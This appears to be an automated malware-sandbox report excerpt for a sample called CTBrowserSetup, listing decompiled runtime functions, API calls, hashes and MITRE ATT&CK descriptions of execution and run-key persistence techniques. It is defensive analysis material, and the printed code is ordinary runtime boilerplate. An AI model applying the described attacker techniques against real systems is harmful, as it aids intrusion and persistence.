0x00a95c14
0x00000000
0x00000000
0x00a95bf4
0x00a95bf6
0x00000000
0x00000000
0x00a95bf9
0x00a95bff
0x00a95c01
0x00000000
0x00000000
0x00a95c01
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00A9F806,?), ref: 00A95C0C

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b18847237439a877a1b501901645fc32afab841466277144a54c3e885cb87f3f
Instruction ID: dd528f996c2d94c4c7b0c0c3e24acba720d985c1153f458a4296e0bff0e6e7c8
Opcode Fuzzy Hash: b18847237439a877a1b501901645fc32afab841466277144a54c3e885cb87f3f
Instruction Fuzzy Hash: E7E0ED32F44F216AEE3327768D03B9B36CCAB02BA1F150124ED45AA080DA20CC0083E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A711FD Relevance: 6.0, APIs: 4, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00A711FD(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00a71202
0x00a7120b
0x00a71224

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00A7131D,00B40CD8), ref: 00A71202
UnhandledExceptionFilter.KERNEL32(00A7131D,?,00A7131D,00B40CD8), ref: 00A7120B
GetCurrentProcess.KERNEL32(C0000409,?,00A7131D,00B40CD8), ref: 00A71216
TerminateProcess.KERNEL32(00000000,?,00A7131D,00B40CD8), ref: 00A7121D

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: e0a631fc51742cbdea3981b2e8eb00602aed1116481c873b20176f05afed5bc3
Instruction ID: 11fda369bbb24d08a816b653a7a93920b753bacbd600f89ccdb9c42bb113e08c
Opcode Fuzzy Hash: e0a631fc51742cbdea3981b2e8eb00602aed1116481c873b20176f05afed5bc3
Instruction Fuzzy Hash: C9D01232800A08ABCA00BBF4ED0CAAD3F28EB08697F014100F30ACA061CBB25442CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A7C380 Relevance: 4.6, APIs: 3, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00A7C380(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0xc7c278; // 0x3ac3810f
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00A71A43(_t41);
					_pop(_t61);
				}
				E00A72430(_t66,  &_v804, 0, 0x50);
				E00A72430(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E00A71A43(_t57);
				}
				return E00A704C2(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x00a7c380
0x00a7c380
0x00a7c380
0x00a7c38b
0x00a7c390
0x00a7c392
0x00a7c39a
0x00a7c39c
0x00a7c39f
0x00a7c3a4
0x00a7c3a4
0x00a7c3b0
0x00a7c3c3
0x00a7c3d1
0x00a7c3d7
0x00a7c3dd
0x00a7c3e3
0x00a7c3e9
0x00a7c3ef
0x00a7c3f5
0x00a7c3fb
0x00a7c401
0x00a7c407
0x00a7c40e
0x00a7c415
0x00a7c41c
0x00a7c423
0x00a7c42a
0x00a7c431
0x00a7c432
0x00a7c43b
0x00a7c441
0x00a7c444
0x00a7c44a
0x00a7c457
0x00a7c460
0x00a7c469
0x00a7c472
0x00a7c480
0x00a7c482
0x00a7c497
0x00a7c4a3
0x00a7c4a6
0x00a7c4ab
0x00a7c4b8

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00A7C478
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00A7C482
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00A7C48F

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: ef4eb156ce89e7949646db368730191c6a8022360007368c26369b66277efa97
Instruction ID: 6fc4d0d73dae059ffe2d200ee91f145d47f8257cfcf071b5f7e47f14206ac274
Opcode Fuzzy Hash: ef4eb156ce89e7949646db368730191c6a8022360007368c26369b66277efa97
Instruction Fuzzy Hash: 0C31C574D112289BCB21DF68DD8979DBBB8BF08750F5082DAE41CA7251E7709F818F44

Uniqueness

Uniqueness Score: -1.00%

Function 00A97E98 Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A97E98(void* __ecx) {
				signed int _v8;
				intOrPtr _t10;
				signed int _t18;

				_t18 =  *0xca92ac; // 0x1
				if(_t18 == 0) {
					_v8 = _v8 & _t18;
					_t18 = _t18 + 1;
					_t10 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t21 =  *((intOrPtr*)(_t10 + 8));
					if( *((intOrPtr*)(_t10 + 8)) >= 0) {
						E00A979C9(_t21,  &_v8);
						if(_v8 == _t18) {
							_t18 = 2;
						}
					}
					 *0xca92ac = _t18;
				}
				return _t18;
			}

0x00a97e9f
0x00a97ea8
0x00a97eb0
0x00a97eb3
0x00a97eb4
0x00a97eb7
0x00a97ebb
0x00a97ec1
0x00a97ec9
0x00a97ecd
0x00a97ecd
0x00a97ec9
0x00a97ed5
0x00a97ed5
0x00a97edb

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1bd7d7636e288af5315fc5aada42c9b638c4e7cc116599bb364359297d69eaf
Instruction ID: 6d3661df400b99350dd59784807a67326120225c382e60a3fdcd1ab51114a744
Opcode Fuzzy Hash: a1bd7d7636e288af5315fc5aada42c9b638c4e7cc116599bb364359297d69eaf
Instruction Fuzzy Hash: 1FF03032625228ABCF16CB4CC505B5DB3ECEB45B65F164096F501D7550C670DD00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00A97EDC Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A97EDC(void* __ecx) {
				char _v8;
				intOrPtr _t7;
				char _t13;

				_t13 = 0;
				_v8 = 0;
				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
				_t16 =  *((intOrPtr*)(_t7 + 8));
				if( *((intOrPtr*)(_t7 + 8)) < 0) {
					L2:
					_t13 = 1;
				} else {
					E00A97989(_t16,  &_v8);
					if(_v8 != 1) {
						goto L2;
					}
				}
				return _t13;
			}

0x00a97ee9
0x00a97eeb
0x00a97eee
0x00a97ef1
0x00a97ef4
0x00a97f05
0x00a97f07
0x00a97ef6
0x00a97efa
0x00a97f03
0x00000000
0x00000000
0x00a97f03
0x00a97f0c

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ebd0bd5e6436c6e2895a3075ff04c1db8902bf7fd9e8bc258d8b36fe32f176
Instruction ID: a37e0ce1cddabc8de8936262f62ea4cf2347305236b88dbd99a6db6954da53f6
Opcode Fuzzy Hash: 23ebd0bd5e6436c6e2895a3075ff04c1db8902bf7fd9e8bc258d8b36fe32f176
Instruction Fuzzy Hash: DAE0EC72A25278EBCB15DBDCCA44D9EF3ECEB45B50B55459AB501E3251C270DE00C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00A844BE Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A844BE(void* __ecx, void* __eflags) {

				if(E00A97EDC(__ecx) == 1 || ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) != 0) {
					return 0;
				} else {
					return 1;
				}
			}

0x00a844c6
0x00a844df
0x00a844da
0x00a844dc
0x00a844dc

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9969c36ff39f52054dac18adf8d1d959316bbc82b5ed1394d38169ec5547b5cb
Instruction ID: 942a5f3e3bd194c84bb674147c28ef9eb18717e2155c1aab894a993cb2737e15
Opcode Fuzzy Hash: 9969c36ff39f52054dac18adf8d1d959316bbc82b5ed1394d38169ec5547b5cb
Instruction Fuzzy Hash: 9AC08C78100D044BCE29EA1092713A83394A395BC6F8004CCC8120B642CA1F9C82DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00A844E0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00A844E0(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t15;
				void* _t17;
				void* _t21;
				int _t23;
				signed int _t24;

				_t11 =  *0xc7c278; // 0x3ac3810f
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t15 =  *0xaf5318(0, L"mscoree.dll",  &_v20, _t11 ^ _t24, _t21, _t17,  *[fs:0x0], E00AAB0CD, 0xffffffff);
				if(_t15 != 0) {
					_t15 = GetProcAddress(_v20, "CorExitProcess");
					_t23 = _t15;
					if(_t23 != 0) {
						 *0xaf5a44(_a4);
						_t15 =  *_t23();
					}
				}
				if(_v20 != 0) {
					_t15 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t15;
			}

0x00a844f5
0x00a84500
0x00a84506
0x00a84515
0x00a8451d
0x00a84527
0x00a8452d
0x00a84531
0x00a84538
0x00a8453e
0x00a8453e
0x00a84531
0x00a84544
0x00a84549
0x00a84549
0x00a84552
0x00a8455c

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,3AC3810F,?,?,00000000,00AAB0CD,000000FF,?,00A844B3,00000002,?,00A84487,00A8245D), ref: 00A84515
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A84527
FreeLibrary.KERNEL32(00000000,?,?,00000000,00AAB0CD,000000FF,?,00A844B3,00000002,?,00A84487,00A8245D), ref: 00A84549

Strings

UCd, xrefs: 00A84538
mscoree.dll, xrefs: 00A8450E
CorExitProcess, xrefs: 00A8451F

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$UCd$mscoree.dll
API String ID: 4061214504-366061858
Opcode ID: 3fcbe8562d13e1ce58cbf488c3e6d55ac2820a14bcf62b6dbdc6e9148d388fae
Instruction ID: 17861cf7c552c80cb3ef84c1869e2716b07e75a6c26a861729acf7f125f7377a
Opcode Fuzzy Hash: 3fcbe8562d13e1ce58cbf488c3e6d55ac2820a14bcf62b6dbdc6e9148d388fae
Instruction Fuzzy Hash: 1801A272940A15AFDB159FE4DC05BBEBBB8FB08B51F000625F911A76E0EB74A900CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A82170 Relevance: 6.1, APIs: 4, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00A82170(void* __ecx, long _a4) {
				intOrPtr _v0;
				char _v12;
				intOrPtr* _v20;
				void* _t14;
				void* _t23;
				struct HINSTANCE__* _t24;
				void* _t27;
				intOrPtr _t29;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;

				_t27 = __ecx;
				_t14 = E00A95A06(__ecx);
				if(_t14 != 0) {
					_t33 =  *((intOrPtr*)(_t14 + 0x360));
					if(_t33 != 0) {
						_t41 =  *((char*)(_t33 + 0x10));
						if( *((char*)(_t33 + 0x10)) != 0) {
							E00A97DDE(_t41);
						}
						_t23 =  *(_t33 + 8);
						if(_t23 != 0xffffffff && _t23 != 0) {
							CloseHandle(_t23);
						}
						_t24 =  *(_t33 + 0xc);
						if(_t24 != 0xffffffff && _t24 != 0) {
							FreeLibraryAndExitThread(_t24, _a4);
						}
					}
				}
				_push(_a4);
				RtlExitUserThread();
				asm("int3");
				_push(_t27);
				_push(_t33);
				_t34 = E00A97608(1, 0x14);
				_t31 = 0;
				_v20 = _t34;
				E00A95BA0(0);
				if(_t34 != 0) {
					_t29 = _v0;
					 *_t34 = _t29;
					 *(_t34 + 4) = _a4;
					_t11 = _t34 + 0xc; // 0xc
					 *0xaf5318(4, _t29, _t11);
					_v12 = 0;
					_t31 = _t34;
				}
				E00A82139( &_v12);
				return _t31;
			}

0x00a82170
0x00a82176
0x00a8217d
0x00a8217f
0x00a82187
0x00a82189
0x00a8218d
0x00a8218f
0x00a8218f
0x00a82194
0x00a8219a
0x00a821a1
0x00a821a1
0x00a821a7
0x00a821ad
0x00a821b7
0x00a821b7
0x00a821ad
0x00a82187
0x00a821bd
0x00a821c0
0x00a821c6
0x00a821cc
0x00a821cd
0x00a821d8
0x00a821da
0x00a821dd
0x00a821e0
0x00a821ea
0x00a821ec
0x00a821f2
0x00a821f4
0x00a821f7
0x00a821fe
0x00a82204
0x00a82207
0x00a82207
0x00a8220c
0x00a82216

APIs

Part of subcall function 00A95A06: GetLastError.KERNEL32(00000000,?,00A83A17,00A9765A,?,?,00A95902,00000001,00000364,?,00000007,000000FF,?,00A820E0,00C77060,0000000C), ref: 00A95A0A
Part of subcall function 00A95A06: SetLastError.KERNEL32(00000000), ref: 00A95AAC

CloseHandle.KERNEL32(?,?,?,00A822A7,?,?,00A82119,00000000), ref: 00A821A1
FreeLibraryAndExitThread.KERNEL32(?,?,?,?,00A822A7,?,?,00A82119,00000000), ref: 00A821B7
RtlExitUserThread.NTDLL(?,?,?,00A822A7,?,?,00A82119,00000000), ref: 00A821C0
GetModuleHandleExW.KERNEL32(00000004,?,0000000C), ref: 00A821FE

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: ErrorExitHandleLastThread$CloseFreeLibraryModuleUser
String ID:
API String ID: 1062721995-0
Opcode ID: b2f11d41c68639f0bb8f220d0d4c13c788a81dcbf4e38d26ef947ac026d4e3ed
Instruction ID: cbe4614d3a9229a82d4ec253f602097f29943a98eed035cc5553c4710e769ab6
Opcode Fuzzy Hash: b2f11d41c68639f0bb8f220d0d4c13c788a81dcbf4e38d26ef947ac026d4e3ed
Instruction Fuzzy Hash: CB119371900604BBDB24ABB5DC0DB6E7BE9EF80760F244215FA1987290DB70DD01C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A820BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E00A820BB(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t11;
				signed int _t18;
				void* _t24;
				void* _t29;
				intOrPtr* _t31;
				void* _t34;

				_t32 = __esi;
				_t29 = __edx;
				_t24 = __ecx;
				_t23 = __ebx;
				_push(0xc);
				_push(0xc77060);
				E00A70BE0(__ebx, __edi, __esi);
				_t31 =  *((intOrPtr*)(_t34 + 8));
				if(_t31 == 0) {
					_push(GetLastError());
					RtlExitUserThread();
				}
				 *((intOrPtr*)(E00A958B5(_t24, _t29, _t32) + 0x360)) = _t31;
				_t11 = E00A97E98(_t24);
				_t37 = _t11 - 2;
				if(_t11 == 2) {
					_t18 = E00A97DA3(_t37, 1);
					asm("sbb al, al");
					 *((char*)(_t31 + 0x10)) =  ~_t18 + 1;
				}
				 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
				 *0xaf5a44( *((intOrPtr*)(_t31 + 4)));
				_push( *((intOrPtr*)( *_t31))());
				E00A8229A( *_t31);
				 *((intOrPtr*)(_t34 - 0x1c)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 - 0x14))))));
				return E00A923ED(_t23,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t34 - 0x14)))))),  *((intOrPtr*)(_t34 - 0x14)));
			}

0x00a820bb
0x00a820bb
0x00a820bb
0x00a820bb
0x00a820bb
0x00a820bd
0x00a820c2
0x00a820c7
0x00a820cc
0x00a820d4
0x00a820d5
0x00a820d5
0x00a820e0
0x00a820e6
0x00a820eb
0x00a820ee
0x00a820f2
0x00a820f9
0x00a820fd
0x00a820fd
0x00a82100
0x00a8210b
0x00a82113
0x00a82114
0x00a82120
0x00a8212c

APIs

GetLastError.KERNEL32(00C77060,0000000C), ref: 00A820CE
RtlExitUserThread.NTDLL(00000000), ref: 00A820D5

Strings

UCd, xrefs: 00A8210B

Memory Dump Source

Source File: 00000022.00000002.3261646103.0000000000641000.00000040.00000001.01000000.00000008.sdmp, Offset: 00640000, based on PE: true

Associated: 00000022.00000002.3261484998.0000000000640000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000C7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000CA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F34000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000F93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3261646103.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000022.00000002.3273656975.0000000000FBE000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_640000_CTBrowserSetup.jbxd

Similarity

API ID: ErrorExitLastThreadUser
String ID: UCd
API String ID: 1750398979-79531214
Opcode ID: e0ac6bc099640a447e73a93bad92ea20800ba20a6db0c194e3f3d1150ec44f54
Instruction ID: 6d46b7940fe1487a34428f8489e6f42f461393e0910aefb17eb793a792dd267e
Opcode Fuzzy Hash: e0ac6bc099640a447e73a93bad92ea20800ba20a6db0c194e3f3d1150ec44f54
Instruction Fuzzy Hash: 3EF08C71A40605AFDB01BBB0C94AB7E3BB5EF04711F204248F1019B261CB745941CBA0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
